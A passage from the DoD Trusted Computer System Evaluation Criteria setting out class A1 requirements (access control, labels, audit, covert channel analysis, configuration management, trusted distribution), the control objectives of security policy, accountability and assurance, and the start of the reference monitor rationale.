- * The FTLS of the TCB must be shown to be consistent with the
- model by formal techniques where possible (i.e., where
- verification tools exist) and informal ones otherwise.
-
- * The TCB implementation (i.e., in hardware, firmware, and
- software) must be informally shown to be consistent with the
- FTLS. The elements of the FTLS must be shown, using
- informal techniques, to correspond to the elements of the
- TCB. The FTLS must express the unified protection mechanism
- required to satisfy the security policy, and it is the
- elements of this protection mechanism that are mapped to the
- elements of the TCB.
-
- * Formal analysis techniques must be used to identify and
- analyze covert channels. Informal techniques may be used to
- identify covert timing channels. The continued existence of
- identified covert channels in the system must be justified.
-
- In keeping with the extensive design and development analysis of the TCB
- required of systems in class (A1), more stringent configuration management is
- required and procedures are established for securely distributing the system
- to sites. A system security administrator is supported.
-
- The following are minimal requirements for systems assigned a class (A1)
- rating:
-
- 4.1.1 SECURITY POLICY
-
- 4.1.1.1 Discretionary Access Control
-
- The TCB shall define and control access between named users and
- named objects (e.g., files and programs) in the ADP system.
- The enforcement mechanism (e.g., access control lists) shall
- allow users to specify and control sharing of those objects.
- The discretionary access control mechanism shall, either by
- explicit user action or by default, provide that objects are
- protected from unauthorized access. These access controls
- shall be capable of specifying, for each named object, a list
- of named individuals and a list of groups of named individuals
- with their respective modes of access to that object.
- Furthermore, for each such named object, it shall be possible to
- specify a list of named individuals and a list of groups of
- named individuals for which no access to the object is to be
- given. Access permission to an object by users not already
- possessing access permission shall only be assigned by
- authorized users.
-
- 4.1.1.2 Object Reuse
-
- When a storage object is initially assigned, allocated, or
- reallocated to a subject from the TCB's pool of unused storage
- objects, the TCB shall assure that the object contains no data
- for which the subject is not authorized.
-
- 4.1.1.3 Labels
-
- Sensitivity labels associated with each ADP system resource
- (e.g., subject, storage object) that is directly or indirectly
- accessible by subjects external to the TCB shall be maintained
- by the TCB. These labels shall be used as the basis for
- mandatory access control decisions. In order to import non-
- labeled data, the TCB shall request and receive from an
- authorized user the security level of the data, and all such
- actions shall be auditable by the TCB.
-
- 4.1.1.3.1 Label Integrity
-
- Sensitivity labels shall accurately represent security
- levels of the specific subjects or objects with which
- they are associated. When exported by the TCB,
- sensitivity labels shall accurately and unambiguously
- represent the internal labels and shall be associated
- with the information being exported.
-
- 4.1.1.3.2 Exportation of Labeled Information
-
- The TCB shall designate each communication channel and
- I/O device as either single-level or multilevel. Any
- change in this designation shall be done manually and
- shall be auditable by the TCB. The TCB shall maintain
- and be able to audit any change in the current security
- level associated with a single-level communication
- channel or I/O device.
-
- 4.1.1.3.2.1 Exportation to Multilevel Devices
-
- When the TCB exports an object to a multilevel I/O
- device, the sensitivity label associated with that
- object shall also be exported and shall reside on
- the same physical medium as the exported
- information and shall be in the same form (i.e.,
- machine-readable or human-readable form). When
- the TCB exports or imports an object over a
- multilevel communication channel, the protocol
- used on that channel shall provide for the
- unambiguous pairing between the sensitivity labels
- and the associated information that is sent or
- received.
-
- 4.1.1.3.2.2 Exportation to Single-Level Devices
-
- Single-level I/O devices and single-level
- communication channels are not required to
- maintain the sensitivity labels of the information
- they process. However, the TCB shall include a
- mechanism by which the TCB and an authorized user
- reliably communicate to designate the single
- security level of information imported or exported
- via single-level communication channels or I/O
- devices.
-
- 4.1.1.3.2.3 Labeling Human-Readable Output
-
- The ADP system administrator shall be able to
- specify the printable label names associated with
- exported sensitivity labels. The TCB shall mark
- the beginning and end of all human-readable, paged,
- hardcopy output (e.g., line printer output) with
- human-readable sensitivity labels that properly*
- represent the sensitivity of the output. The TCB
- shall, by default, mark the top and bottom of each
- page of human-readable, paged, hardcopy output
- (e.g., line printer output) with human-readable
- sensitivity labels that properly* represent the
- overall sensitivity of the output or that
- properly* represent the sensitivity of the
- information on the page. The TCB shall, by
- default and in an appropriate manner, mark other
- forms of human-readable output (e.g., maps,
- graphics) with human-readable sensitivity labels
- that properly* represent the sensitivity of the
- output. Any override of these marking defaults
- shall be auditable by the TCB.
-
- ____________________________________________________________________
- * The hierarchical classification component in human-readable
- sensitivity labels shall be equal to the greatest
- hierarchical classification of any of the information in the
- output that the labels refer to; the non-hierarchical
- category component shall include all of the non-hierarchical
- categories of the information in the output the labels refer
- to, but no other non-hierarchical categories.
- ____________________________________________________________________
-
-
- 4.1.1.3.3 Subject Sensitivity Labels
-
- The TCB shall immediately notify a terminal user of each
- change in the security level associated with that user
- during an interactive session. A terminal user shall be
- able to query the TCB as desired for a display of the
- subject's complete sensitivity label.
-
- 4.1.1.3.4 Device Labels
-
- The TCB shall support the assignment of minimum and
- maximum security levels to all attached physical devices.
- These security levels shall be used by the TCB to enforce
- constraints imposed by the physical environments in which
- the devices are located.
-
- 4.1.1.4 Mandatory Access Control
-
- The TCB shall enforce a mandatory access control policy over
- all resources (i.e., subjects, storage objects, and I/O
- devices) that are directly or indirectly accessible by subjects
- external to the TCB. These subjects and objects shall be
- assigned sensitivity labels that are a combination of
- hierarchical classification levels and non-hierarchical
- categories, and the labels shall be used as the basis for
- mandatory access control decisions. The TCB shall be able to
- support two or more such security levels. (See the Mandatory
- Access Control guidelines.) The following requirements shall
- hold for all accesses between all subjects external to the TCB
- and all objects directly or indirectly accessible by these
- subjects: A subject can read an object only if the hierarchical
- classification in the subject's security level is greater than
- or equal to the hierarchical classification in the object's
- security level and the non-hierarchical categories in the
- subject's security level include all the non-hierarchical
- categories in the object's security level. A subject can write
- an object only if the hierarchical classification in the
- subject's security level is less than or equal to the
- hierarchical classification in the object's security level and
- all the non-hierarchical categories in the subject's security
- level are included in the non- hierarchical categories in the
- object's security level.
-
- 4.1.2 ACCOUNTABILITY
-
- 4.1.2.1 Identification and Authentication
-
- The TCB shall require users to identify themselves to it before
- beginning to perform any other actions that the TCB is expected
- to mediate. Furthermore, the TCB shall maintain authentication
- data that includes information for verifying the identity of
- individual users (e.g., passwords) as well as information for
- determining the clearance and authorizations of individual
- users. This data shall be used by the TCB to authenticate the
- user's identity and to determine the security level and
- authorizations of subjects that may be created to act on behalf
- of the individual user. The TCB shall protect authentication
- data so that it cannot be accessed by any unauthorized user.
- The TCB shall be able to enforce individual accountability by
- providing the capability to uniquely identify each individual
- ADP system user. The TCB shall also provide the capability of
- associating this identity with all auditable actions taken by
- that individual.
-
- 4.1.2.1.1 Trusted Path
- The TCB shall support a trusted communication path
- between itself and users for use when a positive TCB-to-
- user connection is required (e.g., login, change subject
- security level). Communications via this trusted path
- shall be activated exclusively by a user or the TCB and
- shall be logically isolated and unmistakably
- distinguishable from other paths.
-
- 4.1.2.2 Audit
-
- The TCB shall be able to create, maintain, and protect from
- modification or unauthorized access or destruction an audit
- trail of accesses to the objects it protects. The audit data
- shall be protected by the TCB so that read access to it is
- limited to those who are authorized for audit data. The TCB
- shall be able to record the following types of events: use of
- identification and authentication mechanisms, introduction of
- objects into a user's address space (e.g., file open, program
- initiation), deletion of objects, and actions taken by computer
- operators and system administrators and/or system security
- officers. The TCB shall also be able to audit any override of
- human-readable output markings. For each recorded event, the
- audit record shall identify: date and time of the event, user,
- type of event, and success or failure of the event. For
- identification/authentication events the origin of request
- (e.g., terminal ID) shall be included in the audit record. For
- events that introduce an object into a user's address space and
- for object deletion events the audit record shall include the
- name of the object and the object's security level. The ADP
- system administrator shall be able to selectively audit the
- actions of any one or more users based on individual identity
- and/or object security level. The TCB shall be able to audit
- the identified events that may be used in the exploitation of
- covert storage channels. The TCB shall contain a mechanism
- that is able to monitor the occurrence or accumulation of
- security auditable events that may indicate an imminent
- violation of security policy. This mechanism shall be able to
- immediately notify the security administrator when thresholds
- are exceeded.
-
- 4.1.3 ASSURANCE
-
- 4.1.3.1 Operational Assurance
-
- 4.1.3.1.1 System Architecture
-
- The TCB shall maintain a domain for its own execution
- that protects it from external interference or tampering
- (e.g., by modification of its code or data structures).
- The TCB shall maintain process isolation through the
- provision of distinct address spaces under its control.
- The TCB shall be internally structured into well-defined
- largely independent modules. It shall make effective use
- of available hardware to separate those elements that are
- protection-critical from those that are not. The TCB
- modules shall be designed such that the principle of
- least privilege is enforced. Features in hardware, such
- as segmentation, shall be used to support logically
- distinct storage objects with separate attributes (namely:
- readable, writeable). The user interface to the TCB
- shall be completely defined and all elements of the TCB
- identified. The TCB shall be designed and structured to
- use a complete, conceptually simple protection mechanism
- with precisely defined semantics. This mechanism shall
- play a central role in enforcing the internal structuring
- of the TCB and the system. The TCB shall incorporate
- significant use of layering, abstraction and data hiding.
- Significant system engineering shall be directed toward
- minimizing the complexity of the TCB and excluding from
- the TCB modules that are not protection-critical.
-
- 4.1.3.1.2 System Integrity
-
- Hardware and/or software features shall be provided that
- can be used to periodically validate the correct
- operation of the on-site hardware and firmware elements
- of the TCB.
-
- 4.1.3.1.3 Covert Channel Analysis
-
- The system developer shall conduct a thorough search for
- COVERT CHANNELS and make a determination (either by
- actual measurement or by engineering estimation) of the
- maximum bandwidth of each identified channel. (See the
- Covert Channels Guideline section.) FORMAL METHODS SHALL
- BE USED IN THE ANALYSIS.
-
- 4.1.3.1.4 Trusted Facility Management
-
- The TCB shall support separate operator and administrator
- functions. The functions performed in the role of a
- security administrator shall be identified. The ADP
- system administrative personnel shall only be able to
- perform security administrator functions after taking a
- distinct auditable action to assume the security
- administrator role on the ADP system. Non-security
- functions that can be performed in the security
- administration role shall be limited strictly to those
- essential to performing the security role effectively.
-
- 4.1.3.1.5 Trusted Recovery
-
- Procedures and/or mechanisms shall be provided to assure
- that, after an ADP system failure or other discontinuity,
- recovery without a protection compromise is obtained.
-
- 4.1.3.2 Life-Cycle Assurance
-
- 4.1.3.2.1 Security Testing
-
- The security mechanisms of the ADP system shall be tested
- and found to work as claimed in the system documentation.
- A team of individuals who thoroughly understand the
- specific implementation of the TCB shall subject its
- design documentation, source code, and object code to
- thorough analysis and testing. Their objectives shall
- be: to uncover all design and implementation flaws that
- would permit a subject external to the TCB to read,
- change, or delete data normally denied under the
- mandatory or discretionary security policy enforced by
- the TCB; as well as to assure that no subject (without
- authorization to do so) is able to cause the TCB to enter
- a state such that it is unable to respond to
- communications initiated by other users. The TCB shall
- be found resistant to penetration. All discovered flaws
- shall be corrected and the TCB retested to demonstrate
- that they have been eliminated and that new flaws have
- not been introduced. Testing shall demonstrate that the
- TCB implementation is consistent with the FORMAL top-
- level specification. (See the Security Testing
- Guidelines.) No design flaws and no more than a few
- correctable implementation flaws may be found during
- testing and there shall be reasonable confidence that few
- remain. MANUAL OR OTHER MAPPING OF THE FTLS TO THE
- SOURCE CODE MAY FORM A BASIS FOR PENETRATION TESTING.
-
- 4.1.3.2.2 Design Specification and Verification
-
- A formal model of the security policy supported by the
- TCB shall be maintained that is proven consistent with
- its axioms. A descriptive top-level specification (DTLS)
- of the TCB shall be maintained that completely and
- accurately describes the TCB in terms of exceptions, error
- messages, and effects. A FORMAL TOP-LEVEL SPECIFICATION
- (FTLS) OF THE TCB SHALL BE MAINTAINED THAT ACCURATELY
- DESCRIBES THE TCB IN TERMS OF EXCEPTIONS, ERROR MESSAGES,
- AND EFFECTS. THE DTLS AND FTLS SHALL INCLUDE THOSE
- COMPONENTS OF THE TCB THAT ARE IMPLEMENTED AS HARDWARE
- AND/OR FIRMWARE IF THEIR PROPERTIES ARE VISIBLE AT THE
- TCB INTERFACE. THE FTLS shall be shown to be an accurate
- description of the TCB interface. A convincing argument
- shall be given that the DTLS is consistent with the model
- AND A COMBINATION OF FORMAL AND INFORMAL TECHNIQUES SHALL
- BE USED TO SHOW THAT THE FTLS IS CONSISTENT WITH THE
- MODEL. THIS VERIFICATION EVIDENCE SHALL BE CONSISTENT
- WITH THAT PROVIDED WITHIN THE STATE-OF-THE-ART OF THE
- PARTICULAR COMPUTER SECURITY CENTER-ENDORSED FORMAL
- SPECIFICATION AND VERIFICATION SYSTEM USED. MANUAL OR
- OTHER MAPPING OF THE FTLS TO THE TCB SOURCE CODE SHALL BE
- PERFORMED TO PROVIDE EVIDENCE OF CORRECT IMPLEMENTATION.
-
- 4.1.3.2.3 Configuration Management
-
- During THE ENTIRE LIFE-CYCLE, I.E., DURING THE DESIGN,
- DEVELOPMENT, and maintenance of the TCB, a configuration
- management system shall be in place FOR ALL SECURITY-
- RELEVANT HARDWARE, FIRMWARE, AND SOFTWARE that maintains
- control of changes to THE FORMAL MODEL, the descriptive
- AND FORMAL top-level SPECIFICATIONS, other design data,
- implementation documentation, source code, the running
- version of the object code, and test fixtures and
- documentation. The configuration management system shall
- assure a consistent mapping among all documentation and
- code associated with the current version of the TCB.
- Tools shall be provided for generation of a new version
- of the TCB from source code. Also available shall be
- tools, MAINTAINED UNDER STRICT CONFIGURATION CONTROL, for
- comparing a newly generated version with the previous TCB
- version in order to ascertain that only the intended
- changes have been made in the code that will actually be
- used as the new version of the TCB. A COMBINATION OF
- TECHNICAL, PHYSICAL, AND PROCEDURAL SAFEGUARDS SHALL BE
- USED TO PROTECT FROM UNAUTHORIZED MODIFICATION OR
- DESTRUCTION THE MASTER COPY OR COPIES OF ALL MATERIAL
- USED TO GENERATE THE TCB.
-
- 4.1.3.2.4 Trusted Distribution
-
- A TRUSTED ADP SYSTEM CONTROL AND DISTRIBUTION FACILITY
- SHALL BE PROVIDED FOR MAINTAINING THE INTEGRITY OF THE
- MAPPING BETWEEN THE MASTER DATA DESCRIBING THE CURRENT
- VERSION OF THE TCB AND THE ON-SITE MASTER COPY OF THE
- CODE FOR THE CURRENT VERSION. PROCEDURES (E.G., SITE
- SECURITY ACCEPTANCE TESTING) SHALL EXIST FOR ASSURING
- THAT THE TCB SOFTWARE, FIRMWARE, AND HARDWARE UPDATES
- DISTRIBUTED TO A CUSTOMER ARE EXACTLY AS SPECIFIED BY
- THE MASTER COPIES.
-
- 4.1.4 DOCUMENTATION
-
- 4.1.4.1 Security Features User's Guide
-
- A single summary, chapter, or manual in user documentation
- shall describe the protection mechanisms provided by the TCB,
- guidelines on their use, and how they interact with one another.
-
- 4.1.4.2 Trusted Facility Manual
-
- A manual addressed to the ADP system administrator shall
- present cautions about functions and privileges that should be
- controlled when running a secure facility. The procedures for
- examining and maintaining the audit files as well as the
- detailed audit record structure for each type of audit event
- shall be given. The manual shall describe the operator and
- administrator functions related to security, to include
- changing the security characteristics of a user. It shall
- provide guidelines on the consistent and effective use of the
- protection features of the system, how they interact, how to
- securely generate a new TCB, and facility procedures, warnings,
- and privileges that need to be controlled in order to operate
- the facility in a secure manner. The TCB modules that contain
- the reference validation mechanism shall be identified. The
- procedures for secure generation of a new TCB from source after
- modification of any modules in the TCB shall be described. It
- shall include the procedures to ensure that the system is
- initially started in a secure manner. Procedures shall also be
- included to resume secure system operation after any lapse in
- system operation.
-
- 4.1.4.3 Test Documentation
-
- The system developer shall provide to the evaluators a document
- that describes the test plan and results of the security
- mechanisms' functional testing. It shall include results of
- testing the effectiveness of the methods used to reduce covert
- channel bandwidths. THE RESULTS OF THE MAPPING BETWEEN THE
- FORMAL TOP-LEVEL SPECIFICATION AND THE TCB SOURCE CODE SHALL BE
- GIVEN.
-
- 4.1.4.4 Design Documentation
-
- Documentation shall be available that provides a description of
- the manufacturer's philosophy of protection and an explanation
- of how this philosophy is translated into the TCB. The
- interfaces between the TCB modules shall be described. A
- formal description of the security policy model enforced by the
- TCB shall be available and proven that it is sufficient to
- enforce the security policy. The specific TCB protection
- mechanisms shall be identified and an explanation given to show
- that they satisfy the model. The descriptive top-level
- specification (DTLS) shall be shown to be an accurate
- description of the TCB interface. Documentation shall describe
- how the TCB implements the reference monitor concept and give
- an explanation why it is tamperproof, cannot be bypassed, and
- is correctly implemented. The TCB implementation (i.e., in
- hardware, firmware, and software) shall be informally shown to
- be consistent with the FORMAL TOP- LEVEL SPECIFICATION (FTLS).
- The elements of the FTLS shall be shown, using informal
- techniques, to correspond to the elements of the TCB.
- Documentation shall describe how the TCB is structured to
- facilitate testing and to enforce least privilege. This
- documentation shall also present the results of the covert
- channel analysis and the tradeoffs involved in restricting the
- channels. All auditable events that may be used in the
- exploitation of known covert storage channels shall be
- identified. The bandwidths of known covert storage channels,
- the use of which is not detectable by the auditing mechanisms,
- shall be provided. (See the Covert Channel Guideline section.)
- HARDWARE, FIRMWARE, AND SOFTWARE MECHANISMS NOT DEALT WITH IN
- THE FTLS BUT STRICTLY INTERNAL TO THE TCB (E.G., MAPPING
- REGISTERS, DIRECT MEMORY ACCESS I/O) SHALL BE CLEARLY DESCRIBED.
-
- 4.2 BEYOND CLASS (A1)
-
- Most of the security enhancements envisioned for systems that will provide
- features and assurance in addition to that already provided by class (Al)
- systems are beyond current technology. The discussion below is intended to
- guide future work and is derived from research and development activities
- already underway in both the public and private sectors. As more and better
- analysis techniques are developed, the requirements for these systems will
- become more explicit. In the future, use of formal verification will be
- extended to the source level and covert timing channels will be more fully
- addressed. At this level the design environment will become important and
- testing will be aided by analysis of the formal top-level specification.
- Consideration will be given to the correctness of the tools used in TCB
- development (e.g., compilers, assemblers, loaders) and to the correct
- functioning of the hardware/firmware on which the TCB will run. Areas to be
- addressed by systems beyond class (A1) include:
-
- * System Architecture
-
- A demonstration (formal or otherwise) must be given showing
- that requirements of self-protection and completeness for
- reference monitors have been implemented in the TCB.
-
- * Security Testing
-
- Although beyond the current state-of-the-art, it is
- envisioned that some test-case generation will be done
- automatically from the formal top-level specification or
- formal lower-level specifications.
-
- * Formal Specification and Verification
-
- The TCB must be verified down to the source code level,
- using formal verification methods where feasible. Formal
- verification of the source code of the security-relevant
- portions of an operating system has proven to be a difficult
- task. Two important considerations are the choice of a
- high-level language whose semantics can be fully and
- formally expressed, and a careful mapping, through
- successive stages, of the abstract formal design to a
- formalization of the implementation in low-level
- specifications. Experience has shown that only when the
- lowest level specifications closely correspond to the actual
- code can code proofs be successfully accomplished.
-
- * Trusted Design Environment
-
- The TCB must be designed in a trusted facility with only
- trusted (cleared) personnel.
-
-
-
-
- PART II:
-
-
- 5.0 CONTROL OBJECTIVES FOR TRUSTED COMPUTER SYSTEMS
-
- The criteria are divided within each class into groups of requirements. These
- groupings were developed to assure that three basic control objectives for
- computer security are satisfied and not overlooked. These control objectives
- deal with:
-
- * Security Policy
- * Accountability
- * Assurance
-
- This section provides a discussion of these general control objectives and
- their implication in terms of designing trusted systems.
-
- 5.1 A Need for Consensus
-
- A major goal of the DoD Computer Security Center is to encourage the Computer
- Industry to develop trusted computer systems and products, making them widely
- available in the commercial market place. Achievement of this goal will
- require recognition and articulation by both the public and private sectors of
- a need and demand for such products.
-
- As described in the introduction to this document, efforts to define the
- problems and develop solutions associated with processing nationally sensitive
- information, as well as other sensitive data such as financial, medical, and
- personnel information used by the National Security Establishment, have been
- underway for a number of years. The criteria, as described in Part I,
- represent the culmination of these efforts and describe basic requirements for
- building trusted computer systems. To date, however, these systems have been
- viewed by many as only satisfying National Security needs. As long as this
- perception continues the consensus needed to motivate manufacture of trusted
- systems will be lacking.
-
- The purpose of this section is to describe, in some detail, the fundamental
- control objectives that lay the foundations for requirements delineated in the
- criteria. The goal is to explain the foundations so that those outside the
- National Security Establishment can assess their universality and, by
- extension, the universal applicability of the criteria requirements to
- processing all types of sensitive applications whether they be for National
- Security or the private sector.
-
- 5.2 Definition and Usefulness
-
- The term "control objective" refers to a statement of intent with respect to
- control over some aspect of an organization's resources, or processes, or
- both. In terms of a computer system, control objectives provide a framework
- for developing a strategy for fulfilling a set of security requirements for
- any given system. Developed in response to generic vulnerabilities, such as
- the need to manage and handle sensitive data in order to prevent compromise,
- or the need to provide accountability in order to detect fraud, control
- objectives have been identified as a useful method of expressing security
- goals.[3]
-
- Examples of control objectives include the three basic design requirements for
- implementing the reference monitor concept discussed in Section 6. They are:
-
- * The reference validation mechanism must be tamperproof.
-
- * The reference validation mechanism must always be invoked.
-
- * The reference validation mechanism must be small enough to be
- subjected to analysis and tests, the completeness of which can
- be assured.[1]
-
- 5.3 Criteria Control Objectives
-
- The three basic control objectives of the criteria are concerned with security
- policy, accountability, and assurance. The remainder of this section provides
- a discussion of these basic requirements.
-
- 5.3.1 Security Policy
-
- In the most general sense, computer security is concerned with
- controlling the way in which a computer can be used, i.e.,
- controlling how information processed by it can be accessed and
- manipulated. However, at closer examination, computer security
- can refer to a number of areas. Symptomatic of this, FIPS PUB 39,
- Glossary For Computer Systems Security, does not have a unique
- definition for computer security.[16] Instead there are eleven
- separate definitions for security which include: ADP systems
- security, administrative security, data security, etc. A common
- thread running through these definitions is the word "protection."
- Further declarations of protection requirements can be found in
- DoD Directive 5200.28 which describes an acceptable level of
- protection for classified data to be one that will "assure that
- systems which process, store, or use classified data and produce
- classified information will, with reasonable dependability,
- prevent: a. Deliberate or inadvertent access to classified
- material by unauthorized persons, and b. Unauthorized
- manipulation of the computer and its associated peripheral
- devices."[8]
-
- In summary, protection requirements must be defined in terms of
- the perceived threats, risks, and goals of an organization. This
- is often stated in terms of a security policy. It has been
- pointed out in the literature that it is external laws, rules,
- regulations, etc. that establish what access to information is to
- be permitted, independent of the use of a computer. In particular,
- a given system can only be said to be secure with respect to its
- enforcement of some specific policy.[30] Thus, the control
- objective for security policy is:
-
- SECURITY POLICY CONTROL OBJECTIVE
-
- A STATEMENT OF INTENT WITH REGARD TO CONTROL OVER ACCESS TO AND
- DISSEMINATION OF INFORMATION, TO BE KNOWN AS THE SECURITY POLICY,
- MUST BE PRECISELY DEFINED AND IMPLEMENTED FOR EACH SYSTEM THAT IS
- USED TO PROCESS SENSITIVE INFORMATION. THE SECURITY POLICY MUST
- ACCURATELY REFLECT THE LAWS, REGULATIONS, AND GENERAL POLICIES
- FROM WHICH IT IS DERIVED.
-
- 5.3.1.1 Mandatory Security Policy
- Where a security policy is developed that is to be applied
- to control of classified or other specifically designated
- sensitive information, the policy must include detailed
- rules on how to handle that information throughout its
- life-cycle. These rules are a function of the various
- sensitivity designations that the information can assume
- and the various forms of access supported by the system.
- Mandatory security refers to the enforcement of a set of
- access control rules that constrains a subject's access to
- information on the basis of a comparison of that
- individual's clearance/authorization to the information,
- the classification/sensitivity designation of the
- information, and the form of access being mediated.
- Mandatory policies either require or can be satisfied by
- systems that can enforce a partial ordering of
- designations, namely, the designations must form what is
- mathematically known as a "lattice."[5]
-
- A clear implication of the above is that the system must
- assure that the designations associated with sensitive data
- cannot be arbitrarily changed, since this could permit
- individuals who lack the appropriate authorization to
- access sensitive information. Also implied is the
- requirement that the system control the flow of information
- so that data cannot be stored with lower sensitivity
- designations unless its "downgrading" has been authorized.
- The control objective is:
-
- MANDATORY SECURITY CONTROL OBJECTIVE
-
- SECURITY POLICIES DEFINED FOR SYSTEMS THAT ARE USED TO
- PROCESS CLASSIFIED OR OTHER SPECIFICALLY CATEGORIZED
- SENSITIVE INFORMATION MUST INCLUDE PROVISIONS FOR THE
- ENFORCEMENT OF MANDATORY ACCESS CONTROL RULES. THAT IS,
- THEY MUST INCLUDE A SET OF RULES FOR CONTROLLING ACCESS
- BASED DIRECTLY ON A COMPARISON OF THE INDIVIDUAL'S
- CLEARANCE OR AUTHORIZATION FOR THE INFORMATION AND THE
- CLASSIFICATION OR SENSITIVITY DESIGNATION OF THE
- INFORMATION BEING SOUGHT, AND INDIRECTLY ON CONSIDERATIONS
- OF PHYSICAL AND OTHER ENVIRONMENTAL FACTORS OF CONTROL.
- THE MANDATORY ACCESS CONTROL RULES MUST ACCURATELY REFLECT
- THE LAWS, REGULATIONS, AND GENERAL POLICIES FROM WHICH
- THEY ARE DERIVED.
-
- 5.3.1.2 Discretionary Security Policy
-
- Discretionary security is the principal type of access
- control available in computer systems today. The basis of
- this kind of security is that an individual user, or
- program operating on his behalf, is allowed to specify
- explicitly the types of access other users may have to
- information under his control. Discretionary security
- differs from mandatory security in that it implements an
- access control policy on the basis of an individual's
- need-to-know as opposed to mandatory controls which are
- driven by the classification or sensitivity designation of
- the information.
-
- Discretionary controls are not a replacement for mandatory
- controls. In an environment in which information is
- classified (as in the DoD) discretionary security provides
- for a finer granularity of control within the overall
- constraints of the mandatory policy. Access to classified
- information requires effective implementation of both types
- of controls as precondition to granting that access. In
- general, no person may have access to classified
- information unless: (a) that person has been determined to
- be trustworthy, i.e., granted a personnel security
- clearance -- MANDATORY, and (b) access is necessary for the
- performance of official duties, i.e., determined to have a
- need-to-know -- DISCRETIONARY. In other words,
- discretionary controls give individuals discretion to
- decide on which of the permissible accesses will actually
- be allowed to which users, consistent with overriding
- mandatory policy restrictions. The control objective is:
-
- DISCRETIONARY SECURITY CONTROL OBJECTIVE
-
- SECURITY POLICIES DEFINED FOR SYSTEMS THAT ARE USED TO
- PROCESS CLASSIFIED OR OTHER SENSITIVE INFORMATION MUST
- INCLUDE PROVISIONS FOR THE ENFORCEMENT OF DISCRETIONARY
- ACCESS CONTROL RULES. THAT IS, THEY MUST INCLUDE A
- CONSISTENT SET OF RULES FOR CONTROLLING AND LIMITING ACCESS
- BASED ON IDENTIFIED INDIVIDUALS WHO HAVE BEEN DETERMINED TO
- HAVE A NEED-TO-KNOW FOR THE INFORMATION.
-
- 5.3.1.3 Marking
-
- To implement a set of mechanisms that will put into effect
- a mandatory security policy, it is necessary that the
- system mark information with appropriate classification or
- sensitivity labels and maintain these markings as the
- information moves through the system. Once information is
- unalterably and accurately marked, comparisons required by
- the mandatory access control rules can be accurately and
- consistently made. An additional benefit of having the
- system maintain the classification or sensitivity label
- internally is the ability to automatically generate
- properly "labeled" output. The labels, if accurately and
- integrally maintained by the system, remain accurate when
- output from the system. The control objective is:
-
- MARKING CONTROL OBJECTIVE
-
- SYSTEMS THAT ARE DESIGNED TO ENFORCE A MANDATORY SECURITY
- POLICY MUST STORE AND PRESERVE THE INTEGRITY OF
- CLASSIFICATION OR OTHER SENSITIVITY LABELS FOR ALL
- INFORMATION. LABELS EXPORTED FROM THE SYSTEM MUST BE
- ACCURATE REPRESENTATIONS OF THE CORRESPONDING INTERNAL
- SENSITIVITY LABELS BEING EXPORTED.
-
- 5.3.2 Accountability
-
- The second basic control objective addresses one of the
- fundamental principles of security, i.e., individual
- accountability. Individual accountability is the key to securing
- and controlling any system that processes information on behalf
- of individuals or groups of individuals. A number of requirements
- must be met in order to satisfy this objective.
-
- The first requirement is for individual user identification.
- Second, there is a need for authentication of the identification.
- Identification is functionally dependent on authentication.
- Without authentication, user identification has no credibility.
- Without a credible identity, neither mandatory nor discretionary
- security policies can be properly invoked because there is no
- assurance that proper authorizations can be made.
-
- The third requirement is for dependable audit capabilities. That
- is, a trusted computer system must provide authorized personnel
- with the ability to audit any action that can potentially cause
- access to, generation of, or effect the release of classified or
- sensitive information. The audit data will be selectively
- acquired based on the auditing needs of a particular installation
- and/or application. However, there must be sufficient granularity
- in the audit data to support tracing the auditable events to a
- specific individual who has taken the actions or on whose behalf
- the actions were taken. The control objective is:
-
- ACCOUNTABILITY CONTROL OBJECTIVE
-
- SYSTEMS THAT ARE USED TO PROCESS OR HANDLE CLASSIFIED OR OTHER
- SENSITIVE INFORMATION MUST ASSURE INDIVIDUAL ACCOUNTABILITY
- WHENEVER EITHER A MANDATORY OR DISCRETIONARY SECURITY POLICY IS
- INVOKED. FURTHERMORE, TO ASSURE ACCOUNTABILITY THE CAPABILITY
- MUST EXIST FOR AN AUTHORIZED AND COMPETENT AGENT TO ACCESS AND
- EVALUATE ACCOUNTABILITY INFORMATION BY A SECURE MEANS, WITHIN A
- REASONABLE AMOUNT OF TIME, AND WITHOUT UNDUE DIFFICULTY.
-
- 5.3.3 Assurance
-
- The third basic control objective is concerned with guaranteeing
- or providing confidence that the security policy has been
- implemented correctly and that the protection-relevant elements of
- the system do, indeed, accurately mediate and enforce the intent
- of that policy. By extension, assurance must include a guarantee
- that the trusted portion of the system works only as intended. To
- accomplish these objectives, two types of assurance are needed.
- They are life-cycle assurance and operational assurance.
-
- Life-cycle assurance refers to steps taken by an organization to
- ensure that the system is designed, developed, and maintained
- using formalized and rigorous controls and standards.[17]
- Computer systems that process and store sensitive or classified
- information depend on the hardware and software to protect that
- information. It follows that the hardware and software themselves
- must be protected against unauthorized changes that could cause
- protection mechanisms to malfunction or be bypassed completely.
- For this reason trusted computer systems must be carefully
- evaluated and tested during the design and development phases and
- reevaluated whenever changes are made that could affect the
- integrity of the protection mechanisms. Only in this way can
- confidence be provided that the hardware and software
- interpretation of the security policy is maintained accurately
- and without distortion.
-
- While life-cycle assurance is concerned with procedures for
- managing system design, development, and maintenance; operational
- assurance focuses on features and system architecture used to
- ensure that the security policy is uncircumventably enforced
- during system operation. That is, the security policy must be
- integrated into the hardware and software protection features of
- the system. Examples of steps taken to provide this kind of
- confidence include: methods for testing the operational hardware
- and software for correct operation, isolation of protection-
- critical code, and the use of hardware and software to provide
- distinct domains. The control objective is:
-
- ASSURANCE CONTROL OBJECTIVE
-
- SYSTEMS THAT ARE USED TO PROCESS OR HANDLE CLASSIFIED OR OTHER
- SENSITIVE INFORMATION MUST BE DESIGNED TO GUARANTEE CORRECT AND
- ACCURATE INTERPRETATION OF THE SECURITY POLICY AND MUST NOT
- DISTORT THE INTENT OF THAT POLICY. ASSURANCE MUST BE PROVIDED
- THAT CORRECT IMPLEMENTATION AND OPERATION OF THE POLICY EXISTS
- THROUGHOUT THE SYSTEM'S LIFE-CYCLE.
-
-
- 6.0 RATIONALE BEHIND THE EVALUATION CLASSES
-
- 6.1 The Reference Monitor Concept
-
- In October of 1972, the Computer Security Technology Planning Study, conducted
- by James P. Anderson & Co., produced a report for the Electronic Systems
- Division (ESD) of the United States Air Force.[1] In that report, the concept
- of "a reference monitor which enforces the authorized access relationships
- between subjects and objects of a system" was introduced. The reference
- monitor concept was found to be an essential element of any system that would
- provide multilevel secure computing facilities and controls.
-
- The Anderson report went on to define the reference validation mechanism as
- "an implementation of the reference monitor concept . . . that validates
- each reference to data or programs by any user (program) against a list of
- authorized types of reference for that user." It then listed the three design
- requirements that must be met by a reference validation mechanism:
-
- a. The reference validation mechanism must be tamper proof.
-
